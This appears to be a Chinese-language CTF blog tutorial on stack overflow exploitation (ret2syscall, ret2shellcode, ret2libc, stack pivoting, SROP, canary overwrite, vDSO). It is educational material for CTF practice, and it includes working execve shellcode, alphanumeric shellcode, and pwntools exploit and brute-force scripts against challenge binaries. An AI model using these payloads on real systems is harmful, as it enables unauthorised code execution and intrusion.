杂谈
作为一种基本的漏洞,栈溢出在CTF中出现的非常频繁,因为其多样化的利用形式,难以进行系统的归类,本文结合笔者个人的经验,综合讨论各种栈溢出技术,如果有遗漏,欢迎评论留言,或者给笔者发邮件,进行补充。
本文一定程度上参考了各种博客,CTF-wiki, CTF-All-in-One
怎么去看待栈溢出题呢?
尽管利用方法多样,但是,就笔者个人的看法而言,整个栈溢出实际上只分为三种:
ret2syscall, ret2libc, ret2shellcode
实际上应该还有ret2text, 然而实在过于简单,一般不会在ctf题目中出现。
一般而言,pwn题的目的都是getshell
(当然,也有直接读取flag的,这个后面单独谈),而getshell
无外乎就三种途径,syscall
,libc-system
,shellcode
当拿到一个题目时,首先思考:
是否有syscall---->ret2syscall
有可读可写内存空间吗---->ret2shellcode
给了libc文件或者有信息泄露函数(IO函数)---->ret2libc
接下来,再分门别类谈:
ret2syscall
因为syscall属于相对简单的,暂且放在前面谈。
%rax
System call
%rdi
%rsi
%rdx
%r10
%r8
%r9
59
sys_execve
const char *filename
const char *const argv[]
const char *const envp[]
一般而言,需要syscall
的题目中,都是构造这个系统调用实现。
而在一些题目中通过seccomp
禁用了execve
的调用,所以不能直接利用,那么就利用open, read, write 直接读取flag文件,也是一种办法。
而在syscall中,最为重要也是最麻烦的一步,就是在哪个地址写入/bin/sh(如果本地文件没有/bin/sh的话),一般而言,有三个选择,.data, .bss, 栈上。
在没开PIE的程序中,可以考虑通过write写入.data段或者买.bss段。
或者考虑通过rsp获取栈上地址,或者partial overwrite带出栈上地址。
总的而言,就是选择能够获取到地址的地方写入/bin/sh。
例题:
ciscn_s_3
ret2shellcode
shellcode的书写
一般而言,可以直接通过pwntools 相应模块直接生成shellcode,然而现在以shellcode为考点的题目,一般都会对shellcode做出限制,诸如不能包含非可打印字符, 不能包含"\x00"等等。所以尽可能自己熟悉shellcode的书写。
一个简单的shellcode例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi push rsi push 8 pop rsi add rsi, rsp push rsi mov rsi, rsp xor edx, edx push SYS_execve pop rax syscall
这里获取/bin/sh
地址的方式,是将其压入栈中,再通过rsp偏移获取相应地址。
不过一般而言,pwn题目运行shellcode,一般是采用寄存器跳转,即jmp rax
此类,那么其实可以通过跳转寄存器获取shellcode存放地址,并且将/bin/sh直接镶入shellcode后面,简化shellcode书写。
同时,有些题目会对shellcode有所限制,限制只能包含可打印字符或者纯粹字母数字。这就限制了shellcode的书写,mov
和syscall
都会遭到限制, 可用指令如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 1. 数据传送:push/pop eax… pusha/popa 2. 算术运算:inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数] 3. 逻辑运算:and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数] xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数] 4. 比较指令:cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数] 5. 转移指令:push 56 h pop eax cmp al, 43 h jnz lable <=> jmp lable 6. 交换al, ahpush eax xor ah, byte ptr [esp] xor byte ptr [esp], ah xor ah, byte ptr [esp] pop eax 7. 清零:push 44 h pop eax sub al, 44 h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0
一般而言, 我们采用xor
或者sub
指令修改shellcode后面的值,构造0f 05
, 实现syscall。
一个例子(纯字母数字shellcode):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 push rax push rax pop rcx push 0x41413030 pop rax xor DWORD PTR [rcx+0x30 ], eax push 0x34303041 pop rax xor DWORD PTR [rcx+0x34 ], eax push 0x41303041 pop rax xor DWORD PTR [rcx+0x38 ], eax push rcx pop rax xor al, 0x34 push rax push 0x30 pop rax xor al, 0x30 push rax pop rdx push rax push 0x41 pop rax xor al, 0x7a .byte 0x6e .byte 0x6f .byte 0x4e .byte 0x44 .byte 0x6e .byte 0x52 .byte 0x59 .byte 0x5a .byte 0x6e .byte 0x43 .byte 0x5a .byte 0x41
构造尽可能短的shellcode可能用到的一些指令
1 2 3 4 cdp %The CDQ instruction copies the sign (bit 31) %of the value in the EAX register into every bit %position in the EDX register.
shellcode生成工具
同时,现在有多种针对shellcode进行编码的生成工具,生成符合限制的shellcode,如msf,alpha3等等,由于我没有用过,可以自行尝试。
mprotect()
进一步的,很多题目没有天然的readable and executable segment,题目可能通过mmap()映射了一段权限为7的段,或者存在mprotect()函数。
这个函数可以修改指定内存段的权限
1 2 3 4 5 mprotect: int mprotect(void *addr, size_t len, int prot); addr 内存起始地址 len 修改内存的长度 prot 内存的权限,7为可读可写可执行
如果存在这样的函数,可以考虑将其加入ROP链,从而进一步调用shellcode
ret2libc
leak_libc
对于最后调用 libc 中 system 的题目而言,需要考虑的首要问题就是leak_libc.
目前而言,我遇到的栈题中leak_libc,有两种方法:
partial_overwrite, 有时候,在栈中会存留libc中地址,在后面存在直接输出的函数的情况下,可以带出此地址。
通过puts,write等函数,打印.got
,获取对应函数的地址,这里,在没有给定对应libc版本的情况下,也可以通过LibcSearcher查找对应libc版本
1 2 3 4 5 6 7 8 9 10 11 from LibcSearcher import *obj = LibcSearcher("fgets" , 0X7ff39014bd90 ) obj.dump("system" ) obj.dump("str_bin_sh" ) obj.dump("__libc_start_main_ret" )
另一个可以本地部署的实用工具是libc-database
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ ./find printf 260 puts f30 archive-glibc (libc6_2.19-10ubuntu2_i386) $ ./dump libc6_2.19-0ubuntu6.6_i386 offset___libc_start_main_ret = 0x19a83 offset_system = 0x00040190 offset_dup2 = 0x000db590 offset_recv = 0x000ed2d0 offset_str_bin_sh = 0x160a24 $ ./identify bid=ebeabf5f7039f53748e996fc976b4da2d486a626 libc6_2.17-93ubuntu4_i386 $ ./identify md5=af7c40da33c685d67cdb166bd6ab7ac0 libc6_2.17-93ubuntu4_i386 $ ./identify sha1=9054f5cb7969056b6816b1e2572f2506370940c4 libc6_2.17-93ubuntu4_i386 $ ./identify sha256=8dc102c06c50512d1e5142ce93a6faf4ec8b6f5d9e33d2e1b45311aef683d9b2 libc6_2.17-93ubuntu4_i386
partial_overwrite
前置知识
针对没有泄露的赛题,可以考虑partial_overwrite改写got
表,实现system,因为一般而言,大部分libc函数,里面都存在syscall,所以syscall偏移和函数head_addr差别不会太大。
考虑对于一个got
表中的64位地址: 0xXXXXXXXXXXXXX, 假设其附近的syscall地址后三位偏移为0xaaa(请确定这个偏移和got内函数偏移只有最后四个16位数字不同), 因为libc装载地址以页为单位,后三位是确定0x000,那么partial_overwrite覆盖后面两个字节, 即覆盖got
为0xXXXXXXXXfaaa,那么有1/16的几率恰好syscall
爆破脚本写法
一个爆破脚本模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *import syself ='./ciscn_s_3' remote_add = 'node4.buuoj.cn' remote_port = 29554 main_add = 0x40051d off = 0x130 system_add = 0x400517 rtframe = 0x4004da ret_add = 0x4004e9 i = 0 while i < 20 : try : context.log_level = 'debug' context.arch = 'amd64' if sys.argv[1 ] == 'r' : p = remote(remote_add, remote_port, timeout = 1 ) elif sys.argv[1 ] == 'd' : p = gdb.debug(elf) else : p = process(elf, timeout = 1 ) payload1 = b'/bin/sh\0' + cyclic(0x8 ) payload1+= p64(main_add) p.sendline(payload1) stack_add = u64(p.recv(0x28 )[-8 ::]) - off frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = stack_add frame.rsi = 0 frame.rdx = 0 frame.rsp = stack_add frame.rip = system_add payload = b'/bin/sh\0' + cyclic(0x8 ) payload+= p64(rtframe) payload+= p64(system_add) payload+= bytes (frame) p.sendline(payload) p.recvuntil('/bin/sh' ) p.sendline('cat flag' ) print (p.recvline()) p.close() except BaseException as e: p.close() off+=0x8 i+=1
核心模板:
1 2 3 4 5 6 7 8 9 10 11 while True: try: p.sendline('cat flag' ) print(p.recvline()) p.close() except BaseException as e: p.close()
采用grep 获取输出包含flag的行就行
ret2dl_resolve()
延迟绑定会使用_dl_resolve()函数
综合而言,有如下利用方法(参考CTF-wiki,主要是第三种,因为存在信息泄露时,可用其他方法)
修改 dynamic 节的内容
修改重定位表项的位置
伪造 linkmap
主要前提要求
无
无
无信息泄漏时需要 libc
适用情况
NO RELRO
NO RELRO, Partial RELRO
NO RELRO, Partial RELRO
注意点
确保版本检查通过;确保重定位位置可写;确保重定位表项、符号表、字符串表一一对应
确保重定位位置可写;需要着重伪造重定位表项、符号表;
Tricks
ret2csu
csu主要是为了控制rdx,一般如果gadget较少, 可能没有直接rdx,
一个典型的csu如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:0000000000400940 loc_400940: ; CODE XREF: __libc_csu_init+54 ↓j .text:0000000000400940 mov rdx, r15 .text:0000000000400943 mov rsi, r14 .text:0000000000400946 mov edi, r13d .text:0000000000400949 call ds:(__frame_dummy_init_array_entry - 600 D90h)[r12+rbx*8 ] .text:000000000040094 D add rbx, 1 .text:0000000000400951 cmp rbp, rbx .text:0000000000400954 jnz short loc_400940 .text:0000000000400956 .text:0000000000400956 loc_400956: ; CODE XREF: __libc_csu_init+34 ↑j .text:0000000000400956 add rsp, 8 .text:000000000040095 A pop rbx .text:000000000040095B pop rbp .text:000000000040095 C pop r12 .text:000000000040095 E pop r13 .text:0000000000400960 pop r14 .text:0000000000400962 pop r15 .text:0000000000400964 retn
那么通过0x400956和0x400940的组合,就可以控制rdx 了。
将r12+rbx*8 控制为一个无效got表项,并且令rbx比rbp大1,就可以循环劫持控制流了。
stack pivoting
栈迁移技巧, 主要针对可溢出字节较少的情况,通过leave
此类指令控制rsp
1 2 3 4 5 6 ;leave 相当于: mov rsp,rbp pop rbp ;那么考虑将栈帧中rbp地址改为栈迁移目的地址 ;leave两次之后,就可以将栈转移到目的地址 ;同时要现在目的地址布置好fake_stack
可以知道,栈迁移的前提在于,需要提前布置好栈帧,即在.bss , 或者.data等段写入,一般要求前面有读取到.data段的函数
不过,现在栈迁移一般会稍微复杂一些,读取类函数(如read)和leave可能在一个栈帧,这就要求我们在劫持read写入到指定地址的同时,实现分段栈迁移,大致流程如下:
在第一次read读入后将rbp改为要写入的位置
ret到read
第二次read读入的数据将rbp改为写入的ROP链的位置,注意leave后的指令位置会加8
这个leave的加8会把我们的rip指向我们第二次写入时的ret位置,只要我们第二次写入的ret位置指向leave,就实现了第二次的栈迁移,迁移到了第二次写入的ROP链的位置
example
一个程序反汇编后:
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { char s[48 ]; init(argc, argv, envp); puts ("You can use stackoverflow." ); puts ("But only overflow a bit more..." ); puts ("And you must print first." ); memset (s, 0 , 0x20 uLL); write(1 , s, 0x30 uLL); read(0 , s, 0x40 uLL); return 0 ; }
这个题目本身比较简单,本身给了你一个泄露,又只开了PIE,通过这个write的泄露可以拿到libc地址,考虑到题目还给了libc,预期解可能是找libc里面的/bin/sh字符串
但是既然没有开PIE,就没有必要这么麻烦了,直接在数据段写入/bin/sh就行
虽然大致脚本很早就写完了,但是运行发现了一些令人无语的错误
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *p = process('./ezrop' ) m = u64(p.recv(40 )[-8 :]) payloads = p64(0x400863 ) + b'/bin/sh\0' + p64(0x400600 ) payloads += cyclic(0x18 ) payloads += p64(0x601848 +0x30 ) + p64(0x4007d9 ) p.send(payloads) sleep(1 ) payloads = p64(0x4006fa ) + p64(0x400863 ) + p64(0x601868 ) + p64(0x400600 ) payloads += b'/bin/sh\0' payloads += b'/bin/sh\0' payloads += p64(0x601848 -0x8 ) + p64(0x4007f9 ) p.send(payloads) p.interactive()
栈对齐
栈对齐是xmm指令的一个特性,网上对于这个特性的解释很多都是错误的,还把它与栈平衡搞混了。
这个特性来源于xmm相关指令需要内存对齐,当程序运行到这些指令时,如果内存不是16位对齐,就会直接coredump
可以:
调试core文件
如果终止指令类似于:
1 ► 0x7fa8677a3396 movaps xmmword ptr [rsp + 0x40 ], xmm0
说明是栈对齐的原因,小心调整栈帧就行
Stack smash
对于某些将flag装载到内存,并且知道flag的地址、开启了cannary的题目而言,可以考虑stack_smash。
在开启cannary 防护的题目中,检测到栈溢出后,会调用 __stack_chk_fail
函数来打印 argv[0] (在栈上,和环境变量在一起)指针所指向的字符串,而这个地址可以被覆盖,因此,可以利用此实现泄露flag
在链接高版本libc的情况下,已经不会再打印 argv[0]
了, 此方法已经失效
SROP
前置知识:
在进程接收到signal时,内核会将其上下文保存位sigFrame,然后进入signal_handle,对信号处理,返回后,会执行sigreturn调用,恢复保存Frame,主要包括寄存器和控制流(rip,rsp)的一些设置。
那么,当我们伪造一个Frame,并且触发sigreturn调用时,就能控制寄存器和控制流,这也就是SROP的本质。
同一般rop链相比,可以自由控制rax,进一步的,可以自由控制系统调用,所以SROP拓展了ROP的attack methods。
SROP简要流程:
构造fake_frame
控制当前rsp指向fake_frame底部
sigreturn调用
sigFrame结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st [8]; struct _xmmreg _xmm [16]; __uint32_t padding[24 ]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate ; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8 ]; };
pwntools集成了SROP的模块,可以帮助制作fake_frame:
1 2 3 4 5 6 7 8 // 一个简单的例子 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret
stack_gaurd
我们都知道canary来自fs:0x28
, fs
实际上指向的是TCB , TCB结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; unsigned long int vgetcpu_cache[2 ]; unsigned int feature_1; int __glibc_unused1; void *__private_tm[4 ]; void *__private_ss; unsigned long long int ssp_base; __128bits __glibc_unused2[8 ][4 ] __attribute__ ((aligned (32 ))); void *__padding[8 ]; } tcbhead_t ;
0x28的偏移实际上是指向的stack_guard
那么如何确定段选择地址呢,我们知道段寄存器的基地址是不可见的,而且fs/gs可见的数值也不是段选择子而是0,所以在gdb中我们选择pthread_self()
来查看fs
的地址,对比上面的结构,我们可以看到此函数其实是返回了结构体自身的地址。
1 2 3 4 5 pthread_t pthread_self (void ) { return (pthread_t ) THREAD_SELF; }
在gdb中查看这个地址,发现这个地址实际上在libc的附近。
1 2 p/x (tcbhead_t)*(tcbhead_t *)(pthread_self()) p/x (void*)(pthread_self())
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x555555554000 0x555555555000 r--p 1000 0 /home/nemo/Pwn/workspace/2023ciscn/funcanary/funcanary 0x555555555000 0x555555556000 r-xp 1000 1000 /home/nemo/Pwn/workspace/2023ciscn/funcanary/funcanary 0x555555556000 0x555555557000 r--p 1000 2000 /home/nemo/Pwn/workspace/2023ciscn/funcanary/funcanary 0x555555557000 0x555555558000 r--p 1000 2000 /home/nemo/Pwn/workspace/2023ciscn/funcanary/funcanary 0x555555558000 0x555555559000 rw-p 1000 3000 /home/nemo/Pwn/workspace/2023ciscn/funcanary/funcanary 0x7ffff7dc7000 0x7ffff7dc9000 rw-p 2000 0 [anon_7ffff7dc7] 0x7ffff7dc9000 0x7ffff7def000 r--p 26000 0 /usr/lib64/libc.so.6 0x7ffff7def000 0x7ffff7f4c000 r-xp 15d000 26000 /usr/lib64/libc.so.6 0x7ffff7f4c000 0x7ffff7f99000 r--p 4d000 183000 /usr/lib64/libc.so.6 0x7ffff7f99000 0x7ffff7f9d000 r--p 4000 1d0000 /usr/lib64/libc.so.6 0x7ffff7f9d000 0x7ffff7f9f000 rw-p 2000 1d4000 /usr/lib64/libc.so.6 0x7ffff7f9f000 0x7ffff7fa9000 rw-p a000 0 [anon_7ffff7f9f] 0x7ffff7fc4000 0x7ffff7fc8000 r--p 4000 0 [vvar] 0x7ffff7fc8000 0x7ffff7fca000 r-xp 2000 0 [vdso] 0x7ffff7fca000 0x7ffff7fcb000 r--p 1000 0 /usr/lib64/ld-linux-x86-64.so.2 0x7ffff7fcb000 0x7ffff7ff1000 r-xp 26000 1000 /usr/lib64/ld-linux-x86-64.so.2 0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 27000 /usr/lib64/ld-linux-x86-64.so.2 0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 30000 /usr/lib64/ld-linux-x86-64.so.2 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 32000 /usr/lib64/ld-linux-x86-64.so.2 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall] pwndbg> p/x (void*)(pthread_self()) $ 16 = 0x7ffff7fa8680
如果我们能覆盖stack_guard, 那么相应的,我们就能绕过canary的保护。
但是,显然,正常栈溢出是无法到达这个地址的。然而,在存在子线程栈溢出的情况下,线程栈地址是接近线程fs
寄存器地址的,所以可以通过此来实现覆盖。
bypass Full RELRO
在没有leak函数,并且Full RELRO 的情况下, ret2dl_resolve就无法使用了。
因为got不再可写,partial overwrite也无法再使用。
那么可以找数据移动的gadget将got 表里面的值读入bss段,然后对bss段上的值进行partial overwrite, 或者通过add、sub等gadget拼出目标libc值,再栈迁移到bss段, 就可以ret到lbss段上的libc地址,从而劫持控制流。
vsyscall/vdso
vsyscall 和 vdso 都是内核留下的用于加速系统调用的接口,也因此,其根据内核版本的不同而有所不同。
可以随便开一个程序看一下他们各自的加载地址
1 2 3 4 5 0x7ffff7fc4000 0x7ffff7fc8000 r--p 4000 0 [vvar] 0x7ffff7fc8000 0x7ffff7fca000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
先来说vsyscall, 里面实现了三个函数:
0xffffffffff600000, gettimeofday
0xffffffffff600400, time
0xffffffffff600800, getcpu
并且vsyscall 的加载地址是固定的,但是由于其执行有检查,必须从以上三个函数开始的地址来运行,所以也就只能执行以上三个函数,更多的作用是在栈溢出完全无leak时,将此作为gadget滑块,让程序运行到有效libc地址。
不过,在许多发行版中,这个功能已经被裁剪。
vDSO
相对而言灵活很多,他类似与一个共享库,如果你用gdb将其dump下来,会发现他甚至有完整的ELF结构。
然而,其加载地址却会受到随机化的影响,在32位的程序中,这个随机化的偏移是可爆破的程度,然而在64位的系统中,就完全不可能了。
不过在loader在加载过程中会在栈上留下其地址,在所有环境变量的上面一点的偏移,如果存在leak,就可以劫持。
不过,一个更大的问题的,由于这是内核提供的一个接口,vDSO具体内容随内核版本有所不同,除非你能dump出远程的vDSO,否则很难利用。